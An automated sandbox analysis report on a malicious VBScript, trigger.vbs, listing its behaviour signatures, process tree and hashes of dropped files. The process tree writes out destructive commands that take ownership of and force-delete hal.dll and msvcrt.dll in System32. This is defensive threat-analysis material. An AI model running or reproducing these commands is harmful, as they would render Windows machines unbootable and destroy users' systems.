Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    35s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/07/2024, 17:38

General

  • Target

    trigger.vbs

  • Size

    3KB

  • MD5

    380063939b0d61e119103e115d5dc342

  • SHA1

    11784f868ecf6a4706a883d77d00dcbd9ccd0351

  • SHA256

    957d04cab6ebe77caab110cc03fffc90d7841e826e130ff9a904701d411d13d7

  • SHA512

    ecd9f2e96487ae98b5f4e23d2b13d4722f1ca973b6ea29cbb6f3f69459d1d7d6c364f612df84ada94258b68a4e48d364eaf893c1af293375a470e0a7bdb55862

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Possible privilege escalation attempt 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3084
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f C:\Windows\System32\hal.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4908
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\hal.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2512
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2576
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\msvcrt.dll && icacls C:\Windows\System32\msvcrt.dll /grant Everyone:(F) && del/f C:\Windows\System32\msvcrt.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\msvcrt.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2500
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\msvcrt.dll /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1224

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\s.vbs

    Filesize

    756B

    MD5

    362834df28860b9ab1aa787a61c9bb9f

    SHA1

    ba008515db84417d15fd97c356e33fdb80379d15

    SHA256

    70866acf071a5b9ee641bad7a206eb3f1e6e27df0bd1cb4cfa25cbf391f60ff7

    SHA512

    ef8f7b5aa4a99c7275c9ba8c27f06148b6e359f9c0f8357f07c685f835c7c8bcfac7b937334b4c9b282b410b300f55d729287a27c5327affe02e8aad3fa918c8

  • C:\Users\Admin\Desktop\DIE108.lnk

    Filesize

    1KB

    MD5

    b6753e4f913f86dbb16aa83e9a497c04

    SHA1

    0e608017f429d659a98d073869e7e07b81ea7f74

    SHA256

    5dc17b0bc6ca1a9be4fafae6c7e871fa26ca9625939d6ce5c412c25c68a2c510

    SHA512

    f629a8c1fe1ee2016a8ad869723ac559f0501d60eff910475bbc57be701971c3bc01cb61565f865c316676cc39c10be19875635fcff649d387905a6bfe93232d

  • C:\Users\Admin\Desktop\DIE113.lnk

    Filesize

    1KB

    MD5

    27b9e969b910cb36bc11529b7e28fca6

    SHA1

    df64081ebd49a0a5ae739603095afbc646a9e552

    SHA256

    ab958ddb215ee9f7a3e10d4e66217b2e81b2faedc73fdc4eeafc187b55714e09

    SHA512

    7f860688fe56fa2b2b9bb818aebab4fb12d7ceafd2f6467e9e74753c2d77ca0a2dd0c4405f9727ed7b206c66110c92d46f2cd0d0e8cb4fd5b92afb803e61f3c3

  • C:\Users\Admin\Desktop\DIE122.lnk

    Filesize

    1KB

    MD5

    91a549bc39e18ac8f87925544787feb2

    SHA1

    cadd3824f3d56c27899280e8f38f73b21cdd2406

    SHA256

    cd224b8806959b16858d91a53329fd06abd4eb36e73e5dc1086b8f1106f1e15d

    SHA512

    3d8e96af838c45ff5fbb8a7675c6881df602c16a072b1384c8b675174e513c822c14e3e4a0681545f1fa728425c6285ebfaf65630afeab6e0c22d2745642f1bb

  • C:\Users\Admin\Desktop\DIE127.lnk

    Filesize

    1KB

    MD5

    2957fc3670bb210474d98053dea1be28

    SHA1

    23f1c115d480906583f88beb171842aa10359d06

    SHA256

    a8065cfe785294f33840907d973afec7ed3a871a22d9b7d47a7b85ff93b176a8

    SHA512

    a0378a19c8bc210c7e0fdf519e3ff1ca163c89b0a4b6aac7922d806c8e6a3c7aa954a13eb68314823fb461b20137abd8ea5df7c7d24ceb7a9e6d5536214c2e4a

  • C:\Users\Admin\Desktop\DIE138.lnk

    Filesize

    1KB

    MD5

    57251e466d7cd2b14c77d4d90a48910f

    SHA1

    d30b297a4e516fb01121b111146c6ae8dccf5965

    SHA256

    b8bee9f563e2b38a85d59a1f8e82173122a6147bb09b09ad7111daf89cc5bc0a

    SHA512

    a05be5638590008435f8e007fb9ce6fc50be7db1c087dd9cc39b1ad8d7daf81f08c487d43745de4f0b1707faf95b114c1dfc6944aaebca395fd2b7c00d58cd18

  • C:\Users\Admin\Desktop\DIE144.lnk

    Filesize

    1KB

    MD5

    2cb235a807457f448865f2519ed4b01d

    SHA1

    1a782360f4c90eab8ab4083ee8f1cc859fdf5c1c

    SHA256

    a55a4ace1b1278d4af94abd5045eb72e5ac6cd8f0ffba86a8795cc78583607e4

    SHA512

    12de1dd1fbc25a705649aad87592fa062258925f7ec8a7e313e0d46149d8abd51fd90d03475e217a064e65b0f32c6d9e9b1ff4d89633966640dc8cfc34b3a301

  • C:\Users\Admin\Desktop\DIE151.lnk

    Filesize

    1KB

    MD5

    e849a8dda3ef6ba595b0f321b7fddc3d

    SHA1

    990287d3101f6af79b612b7c2b69f2a837516d96

    SHA256

    ff447abdaed3f58d915703a0ddffa1679fddd4f004a0a215469a1a9b0331d352

    SHA512

    66ebc854893e2fd465e43f80d486eb98d2189c7ff7b44e74d2170490957c70e90e89ada91bcc79e82456f669e22ac899befa40a21d789558cb8f29fe3f52c1cd

  • C:\Users\Admin\Desktop\DIE162.lnk

    Filesize

    1KB

    MD5

    e39a6122b457f4731e0097e392b82239

    SHA1

    ba27068ecb9f32b9a0738fe8225ee9298e379de4

    SHA256

    84e9926992c66ddaf850c54b56025cfa44951183b66de2a54bb54a4033c3a8ee

    SHA512

    0568549e83059fd9d9cffee970aa33971f28e782bdb0e9220fad63e6affdd9d147a89a190330d238df0109a28479ccb7b16724ff82dc56d741ff5f84f7be8b99

  • C:\Users\Admin\Desktop\DIE168.lnk

    Filesize

    1KB

    MD5

    760bcf665d91ad9f08807524b9a72688

    SHA1

    7134be1d45c9b11ceb23ca808247cad89a8cfc3c

    SHA256

    076bf8c5e859fa56fc5f4a0578ee0e491d9a6f8df369e0487c8f3dfb4b34d9c9

    SHA512

    56ab8823f268ca26124557927402102eab3b67782fb79cd4234a8d144e331a22515678ed90b6f343a60d738f17687c55cdb91c75903220a651bf27f5eab300af

  • C:\Users\Admin\Desktop\DIE36.lnk

    Filesize

    1KB

    MD5

    3fe0a90b8bc05953b4459612f397fe35

    SHA1

    635a3ed05467e10cef0b009e6c515211265e7101

    SHA256

    8ba0c1af5689cf0e574f72e3bb7786be7e28bdc15925c4a2a3e5f33bc27e9787

    SHA512

    49171e1e19e62633fd66a4d8257e1e2bfb064497f1405593d954785bd2ec942fa72bd1ad052390fcb3754baa6a87a1e081b660acc61a5a1a4a7e40943ab53a94

  • C:\Users\Admin\Desktop\DIE90.lnk

    Filesize

    1KB

    MD5

    3562eafef267fba9acd5046e080173d2

    SHA1

    529e48c752bf246a794c44fbda0729c257f544e8

    SHA256

    e1ac16a26238f21081e765f8104c84f2623ce6089025bf785bf9e773eead75a1

    SHA512

    05051f9b8a0711bd558ef7580e6e953d44afb66c15f0fdbb5c3129764c2ab24326ba427351a1eadaf32c79c2227fed80dcae25ed379bed75b7583b258bb2dc7a

  • C:\Users\Admin\Desktop\DIE98.lnk

    Filesize

    1KB

    MD5

    b0076cc44be7f1e39e26ff8fb39067ec

    SHA1

    ab82453020ed1ec7dd39a1fac78ab7c7bf3ea06d

    SHA256

    120a765dfa00ccb6299d27829a58d2af27d49545ef27e4c2fe69dd6981bcf0d0

    SHA512

    98fb325f04861d6b6c06f19051f9eec1bf414e7af190c78eb5c9cc2342300f3627d0095d5bbb199437ebbd5c7d77156005d9f22a7ddb61de19a6d3fb76923fe8

  • C:\Users\Admin\Documents\DIE13.lnk

    Filesize

    1KB

    MD5

    0f6b22c9c29f759d7901d5dfdd0b2864

    SHA1

    2b6193bbfdadfd0b145add5461defa5c0047646c

    SHA256

    ef5b5a22471bfdd8e3c6c9e44296b99d4c0e7ecf5fdbb91e12a0957f9ed08df7

    SHA512

    d71b2ee6702b3f01b190ace05269c03f1a69f3c1bb918eeaf33b7c695121579284f7875afd3d202612455a22f45c7e0837c6be83f511b6e774d50cc21af3de5c

  • C:\Users\Admin\Documents\DIE154.lnk

    Filesize

    1KB

    MD5

    1b812bd46f8b974f96becc7d6eaf94ac

    SHA1

    680ae116ab06ed9b529b3458e9fd87e6ec2500bd

    SHA256

    e6a56b42dfccbe9ee0dbf4100380356499ae31d4d3044e0e7cf7fceb4f2af259

    SHA512

    f9d1178c7001b6478a8e7897fd1b95aa37d808e0a61da1d0d2510e8aa4f7b33d5f7821ac199430dd00cbd21d96410d707c46aa1dee06da5466dac1e5d26ff16e

  • C:\Users\Admin\Documents\DIE180.lnk

    Filesize

    1KB

    MD5

    d4139486711a218e13207a305e52aa1e

    SHA1

    e28a3975e7222d300b2dfe310264194896228ad7

    SHA256

    500455826f46c83228749127183dc6bf76c56fa706226fcd85d4dbe5a539a091

    SHA512

    870fbef7dc48d4536296853ce07ebbc90e7724aa909037fe4c9915dd0e247d4e1eeba031b93f32325510a8afebcf7e850d7309582afd7dea3630460d8cc35a5e

  • C:\Users\Admin\Documents\DIE191.lnk

    Filesize

    1KB

    MD5

    0c03e587c6bb7e809f0ca83d8b59d3a8

    SHA1

    1fe7314301efffba5222a2ad6ef9aa8291def3ee

    SHA256

    5911ed3c4c940e5db736d9a1d7eb844c34bab608531ffd143e9b1d236d4e5438

    SHA512

    b378926357c871f012a739bbd5040659f0078cdf3b05619210a57321ce1211d9e2ffcb6150ef5b088fec418c7ac6d0fa400068cb16ecd53bbb7788b74632a96f

  • C:\Users\Admin\Documents\DIE199.lnk

    Filesize

    1KB

    MD5

    3f2b0de01df73d1c360f3e3ce44715b7

    SHA1

    e3f36de649b7ba51556d11efa95968e04989ed94

    SHA256

    e79ab62b23d84b46cd02d478d5e949b29673da7f294eac878be6d1e223006b3b

    SHA512

    941d18c49cbee4058352616cfbb1c74bc2814ff4855f5f11d0733e947b26c235e91761241202d742efdf4030148594017493683b87f7a043bb00140f5f4fc057

  • C:\Users\Admin\Documents\DIE22.lnk

    Filesize

    1KB

    MD5

    be6a96c98e85edb58d975e9310ad7c67

    SHA1

    090a1252d4c2925517699a49abacd482c01262c7

    SHA256

    9dcb3a098a7e41664dc6bce5e960ccc6ca645f81a48d9d77dff70d62bd68c7a4

    SHA512

    2a93a564e09630690dd075f55e168966d99a588330cbf4f51b5ddca9db491e3be0790d93a45bf14d730ff977a90050e4abf1e3e98e61da0aca34bbe0514c0b88

  • C:\Users\Admin\Documents\DIE45.lnk

    Filesize

    1KB

    MD5

    fc0457b228354f02b807e28a0ae2141e

    SHA1

    6adbe1d25e55c1718fa6d8279700acb788281cb5

    SHA256

    9c37571b9f1fc073ef2a69b23444a41938868efcdd807ae7be9f9a71da80c0fb

    SHA512

    adac41e12d57c45e29b42782cd3912ef859018b0aeced8eb80f319790a2190ae0a6a60e7fb40d896b052ecf847d243797702332ad2330606f2bc5f08156ed041

  • C:\Users\Admin\Documents\DIE64.lnk

    Filesize

    1KB

    MD5

    3fc227f975dad41d832b755df4a1b028

    SHA1

    cb35dcce02ebea92d1f14219d79903e1268814f8

    SHA256

    ceeda73d811db466a727a51b98ef2d078131b3e5bb36df4deca3000a20907ded

    SHA512

    33d778fe03cf1f0198f71a27852612cf1783be0d69e0805077284de47d625117c5ed2e5733537dee73ad3b501346d3ece544841c9496eddbc1180804dfd436d9

  • C:\Users\Admin\Documents\DIE78.lnk

    Filesize

    1KB

    MD5

    7e341eeba7a532837f4faec33965e7de

    SHA1

    8c7fef41bb4f166c91dbd976e855c5095cd27a48

    SHA256

    4736cd3ae561529cec19c4a64b9832bef84771edddb8241505b93abd9d84b0ff

    SHA512

    ae1010a20981822db729132877a2d40eb463c169a21f51a10c1eee33424e15557a535a0fdca92ac787b2dcedbbe53c044047666c2b129a2656f0db07d1770fd2

  • C:\Users\Admin\Documents\DIE93.lnk

    Filesize

    1KB

    MD5

    5dce538b7e4ab5f2e35f906428353137

    SHA1

    7eb7182f4f1017d703f7c587494c2c045a4ab3ed

    SHA256

    3cba2adbeb80e9f48bd4455e64a450ae2345b8108f1f50867f8d1cce7b423a81

    SHA512

    ea77908c8029fa729d1c99609427de80b883da30f86388d3d26f8d919de6053e506a963493abd1de30cab2b33e44c44fe5778d7005c125e32ecad3867f28ba46

  • C:\Users\Admin\Downloads\DIE118.lnk

    Filesize

    1KB

    MD5

    03e4f84b126b242ef9a1bc49adb492a8

    SHA1

    b9b62ad62d8a76ee3ab211da8b33a62c39aa0217

    SHA256

    e998575ed36da2809ce7aaebfc60bef7028384363e9bc57e50d3a210e8249895

    SHA512

    19ea4161e1f4ece8c72898697d7c4de6454c3d8748c0fd3dc75f819dc78df861c7079796971c662892d0f85491ef5d7534f1c3d6e07b3345eafcc16406fdbfce

  • C:\Users\Admin\Downloads\DIE14.lnk

    Filesize

    1KB

    MD5

    385958df3c68d3a8cf38dac63350c08e

    SHA1

    5e1ffde7c2813e2e0cba72abdd6b9d5ef78b2546

    SHA256

    b9cee06ee52cffa14fd90787648bb90a6227b804471e8b6e49a1e70dd55d66d4

    SHA512

    7265e2d228caaf4f71a56fa6b3ff9b146cb4011bad7b5eb12744ead7fd65c683f8ec80be4085e510f728f74443b49e6b8c083dd86bfbcbb3e8286cd535b2792c

  • C:\Users\Admin\Downloads\DIE156.lnk

    Filesize

    1KB

    MD5

    91c3ca3e04526d4383f2e43f8cb6ff17

    SHA1

    24433d3c9c516999f73913c93ddc6b31c6ac9c7c

    SHA256

    d469f9f38bbc4832745f329dc4e6218dcbae7a2c7e3ea1e2d0b4c4e12ff7ee2f

    SHA512

    d929982735b32902ea7172f91792e30c0af3d0f05dff24c42ed650c9cae0eb90c14ec1bb1be3cf2ac37e9f985cc43b5c831edadb1d896461ae6c9bcf727d5ef8

  • C:\Users\Admin\Downloads\DIE173.lnk

    Filesize

    1KB

    MD5

    aade0faf568ca971c6a46dad69ac46a3

    SHA1

    9383bea903e662b9204a2432f6b4de6260e0c34f

    SHA256

    50a6e1073c65e3a631e36bbc8ce040033d09975cc5fc30ef609881b5d8565ce6

    SHA512

    b7b315cfa77d76dd7262d7742c8a5f3487d53dfc57613ee9d2db45296837753ad5525a3e208ea61d73814028425e1bb024b57931f3931e1ac5156b4f8999d711

  • C:\Users\Admin\Downloads\DIE179.lnk

    Filesize

    1KB

    MD5

    a2d4aa7f91d10c95ab29e5adada5c76f

    SHA1

    d825db0ef49dc49f5a386259b6da6f793993243c

    SHA256

    2c3ff647ed0aa00df22e629913b700e1b0e57618b77c6ffd7287070682583d2a

    SHA512

    b5c865852ef74e19483b8c32cb29577ea02d3ab4474e9f95d46bd6ee74b4171f317c1c062c25932425bb54548f3c3fb111ceac3c5124f81b177084eb1f5907df

  • C:\Users\Admin\Downloads\DIE188.lnk

    Filesize

    1KB

    MD5

    84434e048cd49325ea7809e2436663df

    SHA1

    994ca34386cf3843071621db94712b75b1be5425

    SHA256

    af6f0282cd48fa8e70755434e0ffe9526b2de75248f0e1fc14fe6555337eefa8

    SHA512

    9147799517074f0918b52a265093f440b896045c6838b468113e3fd8b14d1cf5ffd46e40aad18330ebd9a3d20f1b3b36874a7a2d53d0f121d758c01f83ec1ccc

  • C:\Users\Admin\Downloads\DIE197.lnk

    Filesize

    1KB

    MD5

    01aee7c3c9d879436da85b9b73a554ce

    SHA1

    a417d8e2d7fa70961726efd17cdc75cdf1e8671e

    SHA256

    27f1101ca3643eda948dee426b4be8d12249e7cbf1885996f88f4ecacdd0b96e

    SHA512

    18d24bb677ab4d5f17e55f7e3d0435ff30e1454e1c064c39646d180e656bf4bd3216b3ebba25d44220427174c7ccc0838469c4fe7dbc02fad9c0f2e98d963941

  • C:\Users\Admin\Downloads\DIE23.lnk

    Filesize

    1KB

    MD5

    275cb2ef892e731cee19a01a04c7dcef

    SHA1

    e09600ef0549b81c5205ee121eb4218d88ed8eb7

    SHA256

    92cfee63dd5b05113648900874d1de72a11ca753bded6c003629d95d616a96cd

    SHA512

    476cd5011ab96e3d703f03ead1b5c889f9116972e145e3a6d875229c539c96d124a6d6255e7440a403ff1e2133f13f7da16067c77da27ec11c54f93801014cbc

  • C:\Users\Admin\Downloads\DIE28.lnk

    Filesize

    1KB

    MD5

    6a02e0d498e78ca3cab64227abe870da

    SHA1

    66c044481237085c070357f49d97f41f62ceecdf

    SHA256

    8abc70c2dad2112b699b782d14f73a522713855afb67c0a841771f6400166b11

    SHA512

    33ca97359ddcfb18132651cbecd3e661e683e0dec17e52665fec14295e9944456470420cbe29afb803cab7b5d1d5636d5b7da9be9c2df62e65b2ad8b6eec33f0

  • C:\Users\Admin\Downloads\DIE80.lnk

    Filesize

    1KB

    MD5

    bc44ec19ff00e6e0f683737a4c80db96

    SHA1

    3f530a8abb3101a3cb372a324a96e01faa8f6b83

    SHA256

    74284f71079d307047402486c3d6475c6ff48b3b28d0df1913afe1cc13653851

    SHA512

    3b6cecd357133e5fa0b3ad71496bb1707d08000e505fa9a98faeecf060c677b92aebb0ee224701ca7e87c04a015eb6c8e4a0ea67bf601e7fcf845a3b7829d46d

  • C:\Users\Admin\Downloads\DIE97.lnk

    Filesize

    1KB

    MD5

    24c75edf5021457d206ba37c1271b80b

    SHA1

    6c162278ec33350b6c5b29c4beccb11e5a87a052

    SHA256

    c697fc84c75d97211d77873d7b5f79396ee948efa98b243175ce305678445221

    SHA512

    204eb36fe2a2975bfe6a12f9bdae084a560fb6554def83643d04d5feafc6731a63ef91e3ec87849bc8fb3d97237bff5cfdd4b3c57b7ed022f7faa36a0ee28ebc

  • C:\Users\Admin\Music\DIE1.lnk

    Filesize

    1KB

    MD5

    a6369aeec1438f794526f6884b664487

    SHA1

    6acca8b3013ed7a3516908697bd175624e32df53

    SHA256

    cbd422f61c97ff2f4bd382414424c47213135b2e361bfc2256e95a99d95ed3dd

    SHA512

    231d082781a05f58dddca28ac98a31a6385a839b44697c0b6f7343dae0230cd82477a027836e208b27d8e485578763a2cc1a28a7b354c67324e1fadcc8daf4c3

  • C:\Users\Admin\Music\DIE101.lnk

    Filesize

    1KB

    MD5

    709f3fbbe4f24dba38520fc01d1f9c5d

    SHA1

    b1ad1a69330eba1a89b1888cb6babf6aba0e18b5

    SHA256

    31ea4aab41d4ab08d99c79ada0aa76b20865bc2ea98b451b5e4d0b8626a0ff63

    SHA512

    c16fb4b6fb162ffcb42ccd353463cb19c301b335c9fcddb45542aa6d7960250f3b9815939c5660b20edced1808e42113cd2bfd8d33bda20e7a3857c13d25e337

  • C:\Users\Admin\Music\DIE146.lnk

    Filesize

    1KB

    MD5

    d29375d9e51a0c440bd846b463c73803

    SHA1

    d4e6879625b3fe96c526b0c9ca15438996cb524d

    SHA256

    480af55d50d17b5430ed7d48a00b17430fd26fcefc1f4dcb61e544514b59e41c

    SHA512

    cb492c475cebf20c2365d75fd6ac9f761a8ff860f9c81bd55dc43a1cd4c05ac3745503e881611a0587621622a48ee89cbad7efa97f282f56a7cf425b6ea3c3c5

  • C:\Users\Admin\Music\DIE162.lnk

    Filesize

    1KB

    MD5

    86d756e8c4937b4f840c865acdccc64e

    SHA1

    6e42aa2e3347bef5866c79f28bc5294515f96ead

    SHA256

    174daa4c990202f7209a11355c776b91399e3ebeae25df0c7acc76a481e76b38

    SHA512

    0d9b78d2d48ab7d2c5f6fe7d8265c55c683ed3babb7467c0fd408da005b4d79f6783a944d515bd68a959e9cd7992c2aa6fbf3f3e606704a73df17c408c9aa6e4

  • C:\Users\Admin\Music\DIE199.lnk

    Filesize

    1KB

    MD5

    21ea46da915f6b19763170593a4a8ecc

    SHA1

    df099da1999f9f78ab09d7d550347af119353d7a

    SHA256

    c2bb9fe083aec1ed949ef76176ab676cdbd207c27bb726469513a8ab1a9ac47d

    SHA512

    d4b055a55131c06bdb40553fd9f6822e9515659dd0745077fb6d2372464e409ceb6b016ea6cf1b6cc84e60a504f23ab93494ea525aee0b3893e73742ec7f8785

  • C:\Users\Admin\Music\DIE58.lnk

    Filesize

    1KB

    MD5

    f6b9fc8ac95484cd1e7d639859dd2e51

    SHA1

    a156342d068969b82c35933f1f301f17d726afac

    SHA256

    f5ba56c23689d12d7dc6cf8c12e2682662a686715edf326ed22389718b1ca466

    SHA512

    80ce1d5f75c808a5504c9edb1bbc32ea87700683b9ee8817ab9b4ecb9841211dd7012d4ab2192d13778b482cd2591b1a5b8612723820b96fe0083af5875895a7

  • C:\Users\Admin\Music\DIE9.lnk

    Filesize

    1KB

    MD5

    01208d81b8a00a913ab7425fca8206e3

    SHA1

    ab748c019d0524e950667d3b7a4a58606e122975

    SHA256

    7d15753ee02b3a1cc7fc39e4e1e7a3935f221f784dd956b6df3f0d3228ca1b9a

    SHA512

    f3a31e5716f15fa2557bc77383fe1a9f13491c13851272bcb3b0cb14a59a6a7caced35b463ce99857d8d02631ffd017c9541c913004c6f87fb65d6a19b70c51a

  • C:\Users\Admin\Pictures\DIE104.lnk

    Filesize

    1KB

    MD5

    226755e239ad22e758ff6a41426e47a4

    SHA1

    9714c56d6403af109309e33b001fe003f8a28a4d

    SHA256

    119b147a33e2268cd98792816c85b30cd693c918af87fa79ca073a4059ab3794

    SHA512

    7975e18a1da91c70d8c6a75c9eab4099409011ab1c32ecc4c274a3f2241581eabb9f43297cbee02323d5121b0b6185ad4e9196c2e4fa7e4265077f97a94d270f

  • C:\Users\Admin\Pictures\DIE120.lnk

    Filesize

    1KB

    MD5

    a17a6d5b8bfb08bb55132d13f03b8086

    SHA1

    9dcbdfdf3594cc37591a120215ec577b1fdaa505

    SHA256

    702b70778614732c8fa14b69c3b94ae2c4e1d4b82cdb11f72497e3244aa46428

    SHA512

    b7ef08f579d99211c53550abf5f1bd3ef0b1267033e88ebb14ed7e4a94c308b404a6e282ed3babb2d047f00f57c720f116f5f6c6fadf9a5946daacaa5ad53703

  • C:\Users\Admin\Pictures\DIE163.lnk

    Filesize

    1KB

    MD5

    b1b49f8c54b9bc962ef43a1d7827dffd

    SHA1

    8a7d1901ae07d4e05aa9577fc26618b417f7489f

    SHA256

    1d2f87762d7900db401c93f722cf3b47e15a6ec6761a16921ac9c32c243641bd

    SHA512

    9d33409e2e6f26c82861d5d8f1c5238df827a9db5bf4bb3f51c47a74b18f508e257877933a5695ebd7b11e739fb8e33976f578c69914b27eebdf9f6d57ba2a8f

  • C:\Users\Admin\Pictures\DIE168.lnk

    Filesize

    1KB

    MD5

    8ee0225dc594858fac41266f34b72b63

    SHA1

    1fc5c0e9dd3de881136d48e1c9699ea6c1c9d22d

    SHA256

    0c97f8e84b4bd6322a0d4bbd9c45c693596709c3d85caa830a874253e8321070

    SHA512

    97601603fb4b379bae90912d361ad5d448490059a7eee35b89c9ecfcae1cd33bdda135c6f26967c3ea001ac3362986dc0f3c4623b6e89d7ccb6379ae12016a65

  • C:\Users\Admin\Pictures\DIE186.lnk

    Filesize

    1KB

    MD5

    a47dff32b3c78f12918dc5284c93c6bc

    SHA1

    b6c09522986c9fdf515c62c60f148eae798e99c7

    SHA256

    3dd8d0270aaaae14756ee305eccc002639edde227286c54286d79b84e459b236

    SHA512

    27b46aefe3bfa0dfc62a0759b7a6f93d15ea7e6a0b3e4d6f1cd7e84f7ed9c4fc240eed2d0b6d881130fe72641018584c8b25d18e26ab5c6234053aaa29844b86

  • C:\Users\Admin\Pictures\DIE24.lnk

    Filesize

    1KB

    MD5

    7755342977cd854eb6f5c168dcda02ec

    SHA1

    06943bad487b2e17fb0562427c13a83ca78015ae

    SHA256

    9c2cf06d358010903e193855dd88aec4fa0cb2be1744c26bd980937d265a1dbf

    SHA512

    22aa8dec57a2dc01757db4b653240650eca89756eee1f0c299b40ee6b7e654d730c4605db7e9eb0c2d7f50b0785b1c3331d32c447c7b7bf3cbd4df71ee852b16

  • C:\Users\Admin\Pictures\DIE44.lnk

    Filesize

    1KB

    MD5

    58087ac2022efa988e138c67cd9495d6

    SHA1

    8ebbb0dcbdfb5dd80c1854c32ab5ef5018ed308e

    SHA256

    5db2033404db419631e39b196627620e03e7809d25d0d7b32b66492da24b662b

    SHA512

    c2058b167e4271a54ce293a3d1363131da112b5671a657276b3b37ac2484151b3b9ee2c5a38ee4901b69d650042f5c3e4e1157c8ee6af669cde08f769c92df23

  • C:\Users\Admin\Pictures\DIE64.lnk

    Filesize

    1KB

    MD5

    24aa76960258ce4b5f31313eaa7ba614

    SHA1

    e5a7612a722a584b8ac595b8a4a6f72da2dd5478

    SHA256

    1cf6fc93b7dd42eeb3b50fb60aba5c936937f6968d03ffd4ca164dc524ca846b

    SHA512

    142d2eebd91e2b46c0445c478dd9b2a943c8d3682748561596bc1e63fe4b2f7457d847f4784ba7817c65b3098cd83cdbc4f928d04a3f161ad0e6fe45cd96d854

  • C:\Users\Admin\Videos\DIE101.lnk

    Filesize

    1KB

    MD5

    220e8fe4f4501f0c19815e6b2a61cfc4

    SHA1

    738de5bb66d85ffbb117910d023a26e1e20481ca

    SHA256

    9b6100514b71fcbdff37f8493ae832d96e6d361114126dc2316110893f101f27

    SHA512

    b8e40f2e52b0e990c554478a15e5bf068a8c9d86b9ff88c2301588f01f7ebcc700d65da74c536eac618cf225e76f25d7ffd1c6f208faec2f2ec78574d40fba98

  • C:\Users\Admin\Videos\DIE199.lnk

    Filesize

    1KB

    MD5

    da99e30a6aca3707bc9a133b734f61e8

    SHA1

    eea9295f8746d8c203529348e5dadd924afc76fd

    SHA256

    ca77abee90306d4fa0b1a747a8c046eafb21bea556f772a624857adaebce8a18

    SHA512

    d740901a437e7ba9cff3f364e681acd72e0c627fc39abf1be4b54a283fd97b77ad7347975dd9093712b292d1d8b8bb20778f401d6a184d8c7c0ebe45e1fbb26c

  • C:\Users\Admin\Videos\DIE28.lnk

    Filesize

    1KB

    MD5

    08ab393ea70a9cc54a2cbbaab5d6f5f6

    SHA1

    34fcdda6c689c6acb34bddab631c31225d418093

    SHA256

    f37bf2f14f61732b8f091f360a1b1f2f00fba1915c16ce140c64fc96d656020f

    SHA512

    2f6bffffb2bbae3116f91d511df35c95dfff953c02216b0d16f4f6a4bbb3c7b0d5353f91024d214d7bbc40435c48b9d4137c8f1d2ca87ef9f0f7a9e3cf77ed66